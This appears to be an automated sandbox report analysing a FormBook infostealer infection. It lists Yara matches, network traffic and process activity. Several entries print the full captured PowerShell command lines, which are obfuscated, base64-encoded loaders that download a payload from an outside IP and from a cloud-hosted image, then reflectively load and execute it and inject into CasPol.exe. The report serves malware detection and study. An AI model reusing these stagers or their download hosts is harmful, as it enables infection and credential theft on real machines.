Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443

Source: unknown	HTTPS traffic detected: 151.101.1.137:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.5:49753 version: TLS 1.2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 10.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted	Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 10.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1096, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0042BDA3 NtClose,	10_2_0042BDA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015935C0 NtCreateMutant,LdrInitializeThunk,	10_2_015935C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592B60 NtClose,LdrInitializeThunk,	10_2_01592B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_01592DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_01592C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01593010 NtOpenDirectoryObject,	10_2_01593010
